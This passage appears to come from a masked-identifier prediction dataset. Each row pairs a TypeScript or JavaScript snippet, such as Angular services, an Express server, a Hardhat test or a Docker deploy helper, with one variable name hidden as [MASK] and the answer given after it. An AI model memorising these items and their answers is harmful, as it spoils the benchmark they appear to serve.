  localStorage.setItem('theme', theme);
  useEffect(() => {
    const  [MASK]  = window.document.documentElement;
     [MASK] .classList.remove(colorTheme);
     [MASK] .classList.add(theme);
    if (localStorage.theme == 'light')
      localStorage.removeItem('theme');
    else localStorage.setItem('theme', theme);
  }, [theme, colorTheme]);

  return [colorTheme, setTheme];
};",root
488,"import express from 'express';
import http from 'http';
import {Server} from ""socket.io"";
import cors from 'cors';
import webpush from 'web-push';
import dotenv from 'dotenv';
import {SocketMessage, Subscription} from ""./types"";
import {
  enqueueMessage, MessageQueue,
  updateDestination
} from ""./messaging"";
import {connectSocket, disconnectSocket, relayMessage} from ""./messaging-websocket"";
import {addWebPushSubscription} from ""./messaging-webpush"";

dotenv.config();

const corsOptions = {
  origin: '*',
  optionsSuccessStatus: 200 // some legacy browsers (IE11, various SmartTVs) choke on 204
}

async function main() {
  const app = express();
  const  [MASK]  = http.createServer(app);
  const io = new Server( [MASK] );

  const queue = new MessageQueue({
    host: ""127.0.0.1"",
    port: 6379,
    password: '<PASSWORD>',
    queueName: 'messages'
  })

  webpush.setVapidDetails(
    ""mailto:<EMAIL>"",
    process.env.PUBLIC_VAPID_KEY || '',
    process.env.PRIVATE_VAPID_KEY || '',
  )

  app.use(express.json());
  app.use(cors(corsOptions));

  app.use(function (req, res, next) {
    res.header(""Access-Control-Allow-Origin"", ""*"");
    res.header(""Access-Control-Allow-Headers"", ""*"");
    next();
  })

  app.post('/message', (req, res) => {
    const data = req.body as SocketMessage
    queue.enqueueMessage(data).then(() => {
      res.end()
    })
  })

  app.post('/push-subscribe', (req, res) => {
    const webSubscription = req.body.webPushSubscription
    const subscription: Subscription = req.body.brokerSubscription
    addWebPushSubscription(subscription, webSubscription)
    updateDestination(subscription.destination)

    res.status(200).json({
      'success': true
    })
  })

  io.on('connection', (socket) => {
    console.log('a user connected')

    connectSocket(socket)
    const socketId = socket.id

    socket.on('message', (data: any) => {
      relayMessage(data, socketId)
    })

    socket.on('disconnect', () => {
      disconnectSocket(socketId)
    })
  })

   [MASK] .listen(30000, () => {
    console.log('listening on *:30000')
  })

  return 'done.'
}

main()
  .then(console.log)
  .catch(console.error)
",server
489,"import ComponentPo from '@/cypress/e2e/po/components/component.po';

export default class LabeledSelectPo extends ComponentPo {
  toggle() {
    return this.self().click();
  }

  clickOption( [MASK] : number) {
    return this.self().get(`.vs__dropdown-menu .vs__dropdown-option:nth-child(${  [MASK]  })`).click();
  }

  clickOptionWithLabel(label: string) {
    return this.getOptions().contains('li', label).invoke('index').then((index) => {
      return this.clickOption(index + 1);
    });
  }

  /**
   * Checks selected option displays on dropdown
   * @param label
   * @returns
   */
  checkOptionSelected(label: string): Cypress.Chainable {
    return this.self().should('contain.text', label);
  }

  /**
   * Get dropdown options
   * @returns
   */
  getOptions(): Cypress.Chainable {
    return this.self().get('.vs__dropdown-menu > li');
  }

  /**
   * Check dropdown is open
   * @returns
   */
  isOpened() {
    return this.getOptions().should('exist');
  }

  /**
   * Check dropdown is closed
   * @returns
   */
  isClosed() {
    return this.getOptions().should('not.exist');
  }

  /**
   * Filter list by typing name
   * @returns
   */
  filterByName(name: string) {
    return this.self().type(name);
  }
}
",optionIndex
490,"type Vertex = string;
type Weight = number;

export class CourseGraph {
    private adjacencyList: Map<Vertex, Map<Vertex, Weight>>;

    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex: Vertex): void {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, new Map());
        }
    }

    addEdge(source: Vertex, target: Vertex,  [MASK] : Weight): void {
        if (!this.adjacencyList.has(source)) {
            this.addVertex(source);
        }

        if (!this.adjacencyList.has(target)) {
            this.addVertex(target);
        }

        // Since its a DAG, we don't need to check for cycles
        this.adjacencyList.get(source)!.set(target,  [MASK] );
    }

    getNeighbors(vertex: Vertex): Map<Vertex, Weight> | undefined {
        return this.adjacencyList.get(vertex);
    }

    display(): void {
        for (const [vertex, edges] of this.adjacencyList.entries()) {
            const neighbors = Array.from(edges.keys()).map(neighbor => `${neighbor}(${edges.get(neighbor)})`).join(', ');
            console.log(`${vertex} -> ${neighbors}`);
        }
    }
}

",weight
491,"import { inject, TestBed } from '@angular/core/testing';

import { UserService } from './user.service';
import { MockBackend, MockConnection } from '@angular/http/testing';
// Make sure to include the Response object from '@angular/http'
import { BaseRequestOptions, Http, RequestMethod, Response, ResponseOptions } from '@angular/http';

describe(""UserService"", () => {

    let subject: UserService;
    let backend: MockBackend;

    beforeEach(() => {

        TestBed.configureTestingModule({
            providers: [
                MockBackend,
                BaseRequestOptions,
                {
                    provide: Http,
                    useFactory: ( [MASK] : MockBackend, defaultOptions: BaseRequestOptions) => {
                        return new Http( [MASK] , defaultOptions);
                    },
                    deps: [MockBackend, BaseRequestOptions]
                },
                UserService
            ]
        });
    });

    beforeEach(inject([UserService, MockBackend], (userService: UserService, mockBackend: MockBackend) => {
        subject = userService;
        backend = mockBackend;
    }));

    it(""#isLoggedIn should return false after creation"",
        inject([UserService], (service: UserService) => {
            expect(service.isLoggedIn()).toBeFalsy();
        }));

    it(""#login should call endpoint and return it's result"", (done) => {
        backend.connections.subscribe((connection: MockConnection) => {
            let options = new ResponseOptions({
                body: JSON.stringify({success: true})
            });
            connection.mockRespond(new Response(options));

            // Check the request method
            expect(connection.request.method).toEqual(RequestMethod.Post);
            // Check the url
            expect(connection.request.url).toEqual(""/login"");
            // Check the body
            // expect(connection.request.text())
            expect(connection.request.text()).toEqual(JSON.stringify({username: ""admin"", password: ""<PASSWORD>""}));
            // Check the request headers
            expect(connection.request.headers.get(""Content-Type"")).toEqual(""application/json"");
        });

        subject
            .login({username: ""admin"", password: ""<PASSWORD>""})
            .subscribe((response) => {
                // Check the response
                expect(response.json()).toEqual({success: true});
                done();
            })
    });
});
",backendInstance
492,"import { Request as IttyRequest } from 'itty-router'
import { getActivationBlock } from '../../lib/citycoins'
import { createResponse } from '../../lib/common'
import { CityConfig, getCityConfig } from '../../types/cities'
import { SingleValue } from '../../types/common'

const GetActivationBlock = async (request: IttyRequest): Promise<Response> => {
  let cityConfig: CityConfig
  let  [MASK] : string
  let response: SingleValue | boolean | number | string
  // check inputs
  const version = request.params?.version ?? undefined
  const city = request.params?.cityname ?? undefined
  if (version === undefined || city === undefined) {
    return new Response(`Invalid request, missing parameter(s)`, {
      status: 400,
    })
  }
  // check response output format
  let format = 'json'
  const { query } = request
  if (Object.prototype.hasOwnProperty.call(query, 'format')) {
    if (query?.format !== undefined) format = query.format
  }
  // get/calculate response
  try {
    cityConfig = await getCityConfig(city, version)
     [MASK]  = await getActivationBlock(cityConfig)
    response = await createResponse( [MASK] , format)
  } catch (err) {
    if (err instanceof Error) return new Response(err.message, { status: 404 })
    return new Response(String(err), { status: 404 })
  }
  // return response
  return new Response(JSON.stringify(response))
}

export default GetActivationBlock
",activationBlock
493,"import {Component, OnInit, signal} from '@angular/core';
import {AsyncPipe, DatePipe, NgForOf, NgIf} from '@angular/common';
import {GoogleAuthService} from '../google-auth-service';
import {gapi} from 'gapi-script';
import {ReportComponent} from '../report/report.component';

@Component({
  selector: 'app-agenda',
  standalone: true,
  imports: [
    NgIf,
    AsyncPipe,
    NgForOf,
    ReportComponent
  ],
  templateUrl: './agenda.component.html',
  styleUrl: './agenda.component.css'
})
export class AgendaComponent implements OnInit {
  constructor(public authService: GoogleAuthService) {}
  selectedEvent = signal<any>({})
  ngOnInit(): void {

    }
  selectEvent(event: any): void {
    this.selectedEvent.set(event);
  }

  formatDate( [MASK] : string): string {
    const d = new Date( [MASK] );
    return d.toLocaleString();
  }

  protected readonly JSON = JSON;
}
",dateString
494,"import { Injectable } from '@angular/core';
import { environment } from 'src/environments/environment';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Router } from '@angular/router';
import { TokenApi } from '../interfaces/token-api';
import { Subject } from 'rxjs';

@Injectable({
  providedIn: 'root'
})
export class AuthService {
  private isLoggedInSubject = new Subject<void>();

  signOutObservable$ = this.isLoggedInSubject.asObservable();
  constructor(
    private httpClient: HttpClient,
    private router: Router) { }

  signUp(userDetails: any){
    return this.httpClient.post<any>(`${environment.apiUrl}register`, userDetails);
  }

  login(userCredentials: any){
    const headers = new HttpHeaders().set('X-Skip-Interceptor', 'true');
    return this.httpClient.post<any>(`${environment.apiUrl}login`, userCredentials,{ headers });
  }

  setToken(tokenValue: string){
    localStorage.setItem('healink-token', tokenValue);
    this.isLoggedInSubject.next();
  }

  setUser(userId: number){
    localStorage.setItem('healink-user-id', userId.toString());
  }

  getToken(){
    return localStorage.getItem('healink-token');
  }

  isLoggedIn(): boolean{
    return !!localStorage.getItem('healink-token'); //if token returns true, else false
  }

  signOut(){
    localStorage.clear();
    this.router.navigateByUrl('login');
    this.isLoggedInSubject.next();
  }

  renewToken( [MASK] : TokenApi){
    const headers = new HttpHeaders().set('X-Skip-Interceptor', 'true');
    return this.httpClient.post<any>(`${environment.apiUrl}refreshtoken`,  [MASK] ,{ headers });
  }

  setRefreshToken(tokenValue: string){
    localStorage.setItem('healink-refresh-token', tokenValue);
  }

  getRefreshToken(){
    return localStorage.getItem('healink-refresh-token');
  }
}
",tokenApi
495,"import { DocumentReference } from '@google-cloud/firestore';
import { readFileSync } from 'fs';
import { parse } from 'node-xlsx';

import { Channel, Ics217 } from './ics217.js';

export function getRegionAndDistrict(filename: string): {
  region: string;
  district: string;
} {
  let region = null;
  const regionMatch = filename.match(/Region (\d+)/);
  if (regionMatch) {
    region = Number(regionMatch[1]);
    if (region == 0) {
      // Colorado Section
      region = null;
    }
  } else {
    // There is no ""Region n"" in the file name, so it's probably not a 217; quit now
    console.error('File name does not contain ""Region n""');
    process.exit(1);
  }
  let district = null;
  const districtMatch = filename.match(/District (\d+)/);
  if (districtMatch) {
    district = Number(districtMatch[1]);
  }
  return { region, district };
}

export function readExcel(excelFile): string[][] {
  // Parse excel file
  const workSheetsFromBuffer = parse(readFileSync(excelFile));
  const sheet = workSheetsFromBuffer[0];
  return sheet.data
    .slice(1)
    .filter((row) => typeof row[0] == 'number' && typeof row[1] == 'string');
}

export function rowsTo217s(
  rows: string[][],
  ownerId: DocumentReference,
): Array<Partial<Ics217>> {
  // Transfer each row into a Channel object
  const channels: Channel[] = rows.map((row, idx) => {
    const [
      page,
      config,
      name,
      users,
      rxFrequency,
      rxWidth,
      rxTone,
      txFrequency,
      txWidth,
      txTone,
      mode,
      remarks,
    ] = row;
    return {
      order: idx,
      page: page ? Number(page) : null,
      config,
      name,
      users,
      rxFrequency: rxFrequency ? Number(rxFrequency) : null,
      rxWidth: rxWidth ? rxWidth : null,
      rxTone,
      txFrequency: txFrequency ? Number(txFrequency) : null,
      txWidth: txWidth ? txWidth : null,
      txTone,
      mode,
      remarks,
    };
  });

  // Group channels by band
  const pages = channels.reduce(
    ( [MASK] , channel: Channel) => {
      const bandLetter = channel.name.match(/([A-Z])/)[1] || null;
      if (! [MASK] [bandLetter]) {
         [MASK] [bandLetter] = [];
      }
       [MASK] [bandLetter].push(channel);
      return  [MASK] ;
    },
    {} as { [key: string]: Channel[] },
  );

  // Transfer each band into an ICS-217 object
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  return Object.entries(pages).map(([_, channels]) => {
    const bandLetter = channels[0].name.match(/([A-Z])/)[1] || null;
    // map band letter to a band name
    const band = {
      V: 'VHF',
      U: 'UHF',
      H: 'HF',
      D: 'DMR',
      P: 'Packet',
    }[bandLetter];

    return {
      owner: ownerId,
      band,
      channels,
    } as Ics217;
  });
}
",acc
496,"import { AddressBook } from '../../domain/entities/AddressBook';
import { IAddressBookRepository } from '../../domain/interfaces/IAddressBookRepository';

export class AddressBookService {
  constructor(private repository: IAddressBookRepository) {}

  getAddresses(): AddressBook[] {
    return this.repository.getAll();
  }

  getAddress(id: string): AddressBook | undefined {
    return this.repository.getById(id);
  }

  createAddress(name: string, address: string, email: string, phoneNumber: string): AddressBook {
    const newAddressBook = new AddressBook(
      Math.random().toString(36).substring(2, 15), // Replace with a better ID generation method
      name,
      address,
      email,
      phoneNumber
    );
    this.repository.add(newAddressBook);
    return newAddressBook;
  }

  updateAddress(id: string, name?: string, address?: string, email?: string, phoneNumber?: string): AddressBook | undefined {
    const  [MASK]  = this.repository.getById(id);
    if (! [MASK] ) return undefined;

    if (name !== undefined)  [MASK] .name = name;
    if (address !== undefined)  [MASK] .address = address;
    if (email !== undefined)  [MASK] .email = email;
    if (phoneNumber !== undefined)  [MASK] .phoneNumber = phoneNumber;

    return this.repository.update( [MASK] );
  }

  deleteAddress(id: string): boolean {
    return this.repository.delete(id);
  }
}
",existingAddressBook
497,"/// <reference path=""../vendor/vendor.d.ts"" />

/// Copyright 2014 Red Hat, Inc.
///
/// Licensed under the Apache License, Version 2.0 (the ""License"");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
///    http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an ""AS IS"" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.

'use strict';

angular.module('chartingApp', ['ui.bootstrap', 'ngStorage', 'ui.sortable', 'rhqm.directives', 'rhqm.services', 'rhqmCharts','cgBusy', 'ngClipboard','angularytics'])
    .constant('BASE_URL', '/rhq-metrics')
    .constant('TENANT_ID', 'test')
    .constant('DATE_TIME_FORMAT', 'MM/DD/YYYY h:mm a')
    .config(['$httpProvider', ($httpProvider) => {
        // enable CORS
        $httpProvider.defaults.useXDomain = true;
        // just a good security precaution to delete this
        delete $httpProvider.defaults.headers.common['X-Requested-With'];
    }]).config(['AngularyticsProvider',
    function(AngularyticsProvider) {
        AngularyticsProvider.setEventHandlers(
            ['GoogleUniversal', 'Console']);
    }]).run(['Angularytics', function(Angularytics) {
    Angularytics.init();
}]).run(($rootScope, $localStorage,  [MASK] , $interval) => {

        //NOTE: if we are then use port 8080 not 9000 that livereload server uses
        $rootScope.$storage = $localStorage.$default({
            server:  [MASK] .host(),
            port: ( [MASK] .host() === '127.0.0.1') ? '8080' :  [MASK] .port()
        });


        // due to timing issues we need to pause for a few seconds to allow the app to start
        var startIntervalPromise = $interval(() => {
            $rootScope.$broadcast('LoadAllSidebarMetricsEvent');
            $rootScope.$emit('LoadAllSidebarMetricsEvent');
            $interval.cancel(startIntervalPromise);
        }, 1000);

    });

angular.module('rhqm.directives', ['ui.bootstrap']);
angular.module('rhqm.services', ['ngStorage']);
",$location
498,"const BYTE_UNITS: string[] = [
	""B"",
	""kB"",
	""MB"",
	""GB"",
	""TB"",
	""PB"",
	""EB"",
	""ZB"",
	""YB"",
];

const BI_BYTE_UNITS: string[] = [
	""B"",
	""KiB"",
	""MiB"",
	""GiB"",
	""TiB"",
	""PiB"",
	""EiB"",
	""ZiB"",
	""YiB"",
];

const BIT_UNITS: string[] = [
	""b"",
	""kbit"",
	""Mbit"",
	""Gbit"",
	""Tbit"",
	""Pbit"",
	""Ebit"",
	""Zbit"",
	""Ybit"",
];

const BI_BIT_UNITS: string[] = [
	""b"",
	""kibit"",
	""Mibit"",
	""Gibit"",
	""Tibit"",
	""Pibit"",
	""Eibit"",
	""Zibit"",
	""Yibit"",
];

/**
 * Converts a number to a localized string representation.
 *
 * @param number - The number to convert.
 * @param locale - The locale or locales to use for formatting. Can be a string, an array of strings, or a boolean.
 * @param options - The formatting options.
 * @returns The localized string representation of the number.
 */
const toLocaleString = (
	number: number,
	locale: string | string[] | boolean | undefined,
	options?: any
): string => {
	return typeof locale === ""string"" || Array.isArray(locale)
		? number.toLocaleString(locale, options)
		: locale === true || options !== undefined
		? number.toLocaleString(undefined, options)
		: number.toString();
};

export default function byteFormat(
	number: number,
	{
		bits = false,
		binary = false,
		space = true,
		single = false,
		suffix = true,
		locale,
		signed,
		...option2
	}: {
		bits?: boolean;
		binary?: boolean;
		space?: boolean;
		single?: boolean;
		suffix?: boolean;
		locale?: string | string[] | boolean;
		signed?: boolean;
		option2?: Intl.NumberFormatOptions;
	}
): string {
	if (!Number.isFinite(number)) {
		throw new TypeError(
			`Expected a finite number, got ${typeof number}: ${number}`
		);
	}

	const UNITS = bits
		? binary
			? BI_BIT_UNITS
			: BIT_UNITS
		: binary
		? BI_BYTE_UNITS
		: BYTE_UNITS;

	const  [MASK]  = space ? "" "" : """";

	if (signed && number === 0) {
		return ` 0${ [MASK] }${UNITS[0]}`;
	}

	const isNegative = number < 0;
	const prefix = isNegative ? ""-"" : signed ? ""+"" : """";

	if (isNegative) {
		number = -number;
	}

	if (number < 1) {
		const numberString = toLocaleString(number, locale, option2);
		return prefix + numberString +  [MASK]  + UNITS[0];
	}

	const exponent = Math.min(
		Math.floor(
			binary ? Math.log(number) / Math.log(1024) : Math.log10(number) / 3
		),
		UNITS.length - 1
	);
	number /= (binary ? 1024 : 1000) ** exponent;

	if (!option2) {
		number = Number(number.toPrecision(3));
	}

	const numberString = toLocaleString(number, locale, option2);

	const unit = single ? UNITS[exponent][0] : UNITS[exponent];

	return prefix + numberString + (suffix ?  [MASK]  + unit : """");
}
",separator
499,"import { Request, Response, NextFunction } from 'express';

// Handle image request
// POST : api/fetchimages
// PROTECTED
import ""dotenv/config"";
import { IFSBot, Midjourney, IFS } from ""../src"";

interface IncomingRequest {
 rid: string,
}

function createIFSClient() {
  // Configuration for the IFS client
  const clientIFS = new IFS({
      ServerId: <string>process.env.SERVER_ID,
      ChannelId: <string>process.env.CHANNEL_ID,
      SalaiToken: <string>process.env.SALAI_TOKEN,
      BotId: IFSBot, // IFSBot
      Debug: true,
  });
  return clientIFS;
}

async function timeout(ms: number) {
  return new Promise(( [MASK] ) => setTimeout( [MASK] , ms));
}


export const handleDeleteId = async (
  req: Request<{}, {}, IncomingRequest>, 
  res: Response,
  next: NextFunction
) => {

    const { rid } = req.body;

    const clientIFS = createIFSClient();
     
    try {
        await timeout(500);
        await clientIFS.delId(rid)
        .then(async ()=>{
          clientIFS.Close();
          await timeout(500);
          res.json({status: 200})
        })

     } catch (error) {
      console.error(""An error occurred:"", error);
    }

};
",resolve
500,"import { ethers } from 'hardhat';
import { assert, expect } from 'chai';
import {
    Contract,
    ContractFactory,
    ContractReceipt,
    ContractTransaction,
} from 'ethers';

const { getContractFactory } = ethers;

const deploy = async ( [MASK] : string): Promise<Contract> => {
    const MyContract: ContractFactory = await getContractFactory( [MASK] );
    const myContract: Contract = await MyContract.deploy();
    await myContract.deployed();
    return myContract;
};

describe('Test WinnerEmitter', async () => {
    let winnerEmitter: Contract, destination: Contract, logData: string;
    const winemAd: string = '0x5FbDB2315678afecb367f032d93F642f64180aa3',
        destAd: string = '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512';
    it('Sould deploy both contracts', async () => {
        winnerEmitter = await deploy('WinnerEmitter');
        destination = await deploy('Destination');
        expect(winnerEmitter).to.have.property('address');
        expect(destination).to.have.property('address');
    });
    it('Both contracts should have known addresses', async () => {
        assert.equal(winnerEmitter.address, winemAd);
        assert.equal(destination.address, destAd);
    });
    it('WinnerEmitter should call Destination.attempt()', async () => {
        const tx: ContractTransaction = await winnerEmitter.win(
            destination.address
        );
        const receipt: ContractReceipt = await tx.wait();
        expect(receipt).to.have.property('transactionHash');
        logData = receipt.logs[0].data;
    });
    it('Destination Winner() event should contain WinnerEmitter address', async () => {
        assert.include(logData.toLowerCase(), winemAd.slice(2).toLowerCase());
    });
});
",contractName
501,"import { test, expect } from '@playwright/test';

test('baidu search result', async ({ page }) => {
  await page.goto('https://www.baidu.com');

  // 搜索设置 id=""kw"" #kw
  await page.locator('#kw').fill('title:(playwright)')
  await page.locator('#kw').press('Enter');
  // await page.locator('#su').click();
  await page.waitForTimeout(2000);

  // 获取一组元素，遍历断言每个元素的文本内容
  const  [MASK]  = await page.locator('div > h3 > a')

  // 遍历每个元素，获取文本内容，并进行断言
  for (let i = 0; i < await  [MASK] .count(); i++) {
    const elem = await  [MASK] .nth(i); // 获取第i个元素
    
    const textContent = await elem.textContent(); // 获取文本内容
    console.log(textContent);
    
    // 注意：这里的断言应该是针对每个元素的文本内容，而不是页面的标题
    if (textContent) {
      const lowerCaseText = textContent.toLowerCase();
      expect(lowerCaseText).toContain('playwright');  
    }
  }
  
});
",elems
502,"// Copyright (c) The Aptos Foundation
// SPDX-License-Identifier: Apache-2.0

import assert from ""assert"";
import fs from ""fs"";
import { NODE_URL, FAUCET_URL } from ""./first_transaction"";
import { AptosAccount, AptosClient, TxnBuilderTypes, BCS, MaybeHexString, HexString, FaucetClient } from ""aptos"";
import { publishModule } from ""./hello_blockchain"";

const readline = require(""readline"").createInterface({
  input: process.stdin,
  output: process.stdout,
});

//:!:>section_1
const client = new AptosClient(NODE_URL);
/** Initializes the new coin */
async function initializeCoin(accountFrom: AptosAccount, coinTypeAddress: HexString): Promise<string> {
  const token = new TxnBuilderTypes.TypeTagStruct(
    TxnBuilderTypes.StructTag.fromString(`${coinTypeAddress.hex()}::moon_coin::MoonCoin`),
  );

  const serializer = new BCS.Serializer();
  serializer.serializeBool(false);

  const scriptFunctionPayload = new TxnBuilderTypes.TransactionPayloadScriptFunction(
    TxnBuilderTypes.ScriptFunction.natural(
      ""0x1::managed_coin"",
      ""initialize"",
      [token],
      [BCS.bcsSerializeStr(""Moon Coin""), BCS.bcsSerializeStr(""MOON""), BCS.bcsSerializeUint64(6), serializer.getBytes()],
    ),
  );

  const [{ sequence_number: sequenceNumber }, chainId] = await Promise.all([
    client.getAccount(accountFrom.address()),
    client.getChainId(),
  ]);

  const rawTxn = new TxnBuilderTypes.RawTransaction(
    TxnBuilderTypes.AccountAddress.fromHex(accountFrom.address()),
    BigInt(sequenceNumber),
    scriptFunctionPayload,
    1000n,
    1n,
    BigInt(Math.floor(Date.now() / 1000) + 10),
    new TxnBuilderTypes.ChainId(chainId),
  );

  const bcsTxn = AptosClient.generateBCSTransaction(accountFrom, rawTxn);
  const pendingTxn = await client.submitSignedBCSTransaction(bcsTxn);

  return pendingTxn.hash;
}
//<:!:section_1

//:!:>section_2
/** Receiver needs to register the coin before they can receive it */
async function registerCoin(coinReceiver: AptosAccount, coinTypeAddress: HexString): Promise<string> {
  const token = new TxnBuilderTypes.TypeTagStruct(
    TxnBuilderTypes.StructTag.fromString(`${coinTypeAddress.hex()}::moon_coin::MoonCoin`),
  );

  const scriptFunctionPayload = new TxnBuilderTypes.TransactionPayloadScriptFunction(
    TxnBuilderTypes.ScriptFunction.natural(""0x1::coin"", ""register"", [token], []),
  );

  const [{ sequence_number: sequenceNumber }, chainId] = await Promise.all([
    client.getAccount(coinReceiver.address()),
    client.getChainId(),
  ]);

  const rawTxn = new TxnBuilderTypes.RawTransaction(
    TxnBuilderTypes.AccountAddress.fromHex(coinReceiver.address()),
    BigInt(sequenceNumber),
    scriptFunctionPayload,
    1000n,
    1n,
    BigInt(Math.floor(Date.now() / 1000) + 10),
    new TxnBuilderTypes.ChainId(chainId),
  );

  const bcsTxn = AptosClient.generateBCSTransaction(coinReceiver, rawTxn);
  const pendingTxn = await client.submitSignedBCSTransaction(bcsTxn);

  return pendingTxn.hash;
}
//<:!:section_2

//:!:>section_3
/** Mints the newly created coin to a specified receiver address */
async function mintCoin(
  coinOwner: AptosAccount,
  coinTypeAddress: HexString,
  receiverAddress: HexString,
  amount: number,
): Promise<string> {
  const token = new TxnBuilderTypes.TypeTagStruct(
    TxnBuilderTypes.StructTag.fromString(`${coinTypeAddress.hex()}::moon_coin::MoonCoin`),
  );

  const scriptFunctionPayload = new TxnBuilderTypes.TransactionPayloadScriptFunction(
    TxnBuilderTypes.ScriptFunction.natural(
      ""0x1::managed_coin"",
      ""mint"",
      [token],
      [BCS.bcsToBytes(TxnBuilderTypes.AccountAddress.fromHex(receiverAddress.hex())), BCS.bcsSerializeUint64(amount)],
    ),
  );

  const [{ sequence_number: sequenceNumber }, chainId] = await Promise.all([
    client.getAccount(coinOwner.address()),
    client.getChainId(),
  ]);

  const rawTxn = new TxnBuilderTypes.RawTransaction(
    TxnBuilderTypes.AccountAddress.fromHex(coinOwner.address()),
    BigInt(sequenceNumber),
    scriptFunctionPayload,
    1000n,
    1n,
    BigInt(Math.floor(Date.now() / 1000) + 10),
    new TxnBuilderTypes.ChainId(chainId),
  );

  const bcsTxn = AptosClient.generateBCSTransaction(coinOwner, rawTxn);
  const pendingTxn = await client.submitSignedBCSTransaction(bcsTxn);
  return pendingTxn.hash;
}
//<:!:section_3

//:!:>section_4
/** Return the balance of the newly created coin */
async function getBalance(accountAddress: MaybeHexString, coinTypeAddress: HexString): Promise<string | number> {
  try {
    const resource = await client.getAccountResource(
      accountAddress,
      `0x1::coin::CoinStore<${coinTypeAddress.hex()}::moon_coin::MoonCoin>`,
    );

    return parseInt((resource.data as any)[""coin""][""value""]);
  } catch (_) {
    return 0;
  }
}
//<:!:section_4

/** run our demo! */
async function main() {
  assert(process.argv.length == 3, ""Expecting an argument that points to the moon coin module"");

  const client = new AptosClient(NODE_URL);
  const faucetClient = new FaucetClient(NODE_URL, FAUCET_URL);

  // Create two accounts, Alice and Bob, and fund Alice but not Bob
  const alice = new AptosAccount();
  const bob = new AptosAccount();

  console.log(""\n=== Addresses ==="");
  console.log(`Alice: ${alice.address()}`);
  console.log(`Bob: ${bob.address()}`);

  await faucetClient.fundAccount(alice.address(), 5_000);
  await faucetClient.fundAccount(bob.address(), 5_000);

  await new Promise<void>((resolve) => {
    readline.question(
      ""Update the CoinType module with Alice's address, build, copy to the provided path, and press enter."",
      () => {
        resolve();
        readline.close();
      },
    );
  });
  const  [MASK]  = process.argv[2];
  const moduleHex = fs.readFileSync( [MASK] ).toString(""hex"");

  console.log(""Publishing MoonCoinType module..."");
  let txHash = await publishModule(alice, moduleHex);
  await client.waitForTransaction(txHash);

  console.log(""Alice will initialize the new coin"");
  txHash = await initializeCoin(alice, alice.address());
  await client.waitForTransaction(txHash);

  console.log(""Bob registers the newly created coin so he can receive it from Alice"");
  txHash = await registerCoin(bob, alice.address());
  await client.waitForTransaction(txHash);
  console.log(`Bob's initial balance: ${await getBalance(bob.address(), alice.address())}`);

  console.log(""Alice mints Bob some of the new coin"");
  txHash = await mintCoin(alice, alice.address(), bob.address(), 100);
  await client.waitForTransaction(txHash);
  console.log(`Bob's new balance: ${await getBalance(bob.address(), alice.address())}`);
}

if (require.main === module) {
  main().then((resp) => console.log(resp));
}
",modulePath
503,"import * as path from ""path"";
import exec from ""execa"";
import * as fs from ""fs-extra"";
import { Client as SSH } from ""ssh2"";
import chalk from ""chalk"";
import {
  DockposerOptions,
  DockposerBuildOptions,
  DockposerDeployOptions
} from ""./type"";

export default class Dockposer {
  constructor(public options: DockposerOptions) {}
  /**
   * Build image
   * @param {string} tag
   * @param {BuildOptions} options
   * @memberof Composer
   */
  public async build(tag: string, options: DockposerBuildOptions) {
    const { cwd } = this.options;
    const dockerfile = options.dockerfile;
    tag = await this.formatTag(tag);
    // ensure Dockerfile exist
    if (dockerfile) {
      const dockerFilePath = path.join(cwd, dockerfile);
      if ((await fs.pathExists(dockerFilePath)) === false) {
        throw new Error(
          `The Dockerfile '${chalk.green(dockerFilePath)}' does not exist.`
        );
      }
    }

    const fileArguments = dockerfile ? [""--file"", dockerfile] : [];
    const buildArguments = options.args || [];

    const command = [
      ""docker"",
      ""build"",
      ""--tag"",
      tag,
      cwd,
      ...fileArguments,
      ...buildArguments
    ];

    await exec(command.shift(), command, {
      cwd,
      stdio: ""inherit""
    });
  }
  /**
   * Push image to the registry
   * @param {string} tag
   * @memberof Composer
   */
  public async push(tag: string) {
    const { cwd } = this.options;
    tag = await this.formatTag(tag);

    const command = [""docker"", ""push"", tag];

    await exec(command.shift(), command, { cwd, stdio: ""inherit"" });
  }
  /**
   * deploy image to remote server
   * @param {string} tag
   * @param {DeployOptions} options
   * @memberof Composer
   */
  public async deploy(tag: string, options: DockposerDeployOptions) {
    const { server } = options;
    tag = await this.formatTag(tag);

    const connection = new SSH();

    const address = server.host + "":"" + server.port;

    console.log(
      chalk.yellow(
        `Connect to ${chalk.green(
          server.name ? `${server.name}(${address})` : address
        )}`
      )
    );

    process.on(""exit"", () => {
      connection.destroy();
    });

    // connect to server
    await new Promise((resolve, reject) => {
      connection
        .on(""ready"", () => {
          resolve();
        })
        .on(""error"", (err: Error) => {
          reject(err);
        })
        .on(""timeout"", () => {
          console.log(chalk.red(""Connect timeout!""));
        })
        .connect(options.server);
    });

    try {
      console.log(chalk.yellow(`Pulling ${chalk.green(tag)}...`));

      // pull image
      await new Promise((resolve, reject) => {
        connection.exec(`docker pull ${tag}`, (err, stream) => {
          if (err) throw err;
          stream.on(""close"", (code: number, signal: string) =>
            code ? reject(signal) : resolve()
          );
          stream.stdout.pipe(process.stdout);
          stream.stderr.pipe(process.stderr);
        });
      });

      console.log(chalk.yellow(`Updating docker-compose...`));

      // update docker-compose.yml
      await new Promise((resolve, reject) => {
        const [imageName, imageVersion] = tag.split("":"");
        const inputFile = `${server.path}/docker-compose.yml`;
        const input = `cat ${inputFile}`;
        // custom name
        const filter =
          `sed -E 's/(${imageName.replace(/\//g, ""\\/"")}:)([0-9.A-Za-z]+)/\\` +
          `1${imageVersion}/g'`;
        const  [MASK]  = `${server.path}/docker-compose.dockposer.yml`;
        const command = `${input} | ${filter} > ${ [MASK] } && mv -f ${ [MASK] } ${inputFile}`;

        connection.exec(command, (err, stream) => {
          if (err) throw err;
          stream.on(""close"", (code: number, signal: string) =>
            code ? reject(signal) : resolve()
          );
          stream.stdout.pipe(process.stdout);
          stream.stderr.pipe(process.stderr);
        });
      });

      console.log(chalk.yellow(`Starting...`));

      // docker-compose down && docker-compose up -d
      await new Promise((resolve, reject) => {
        connection.exec(
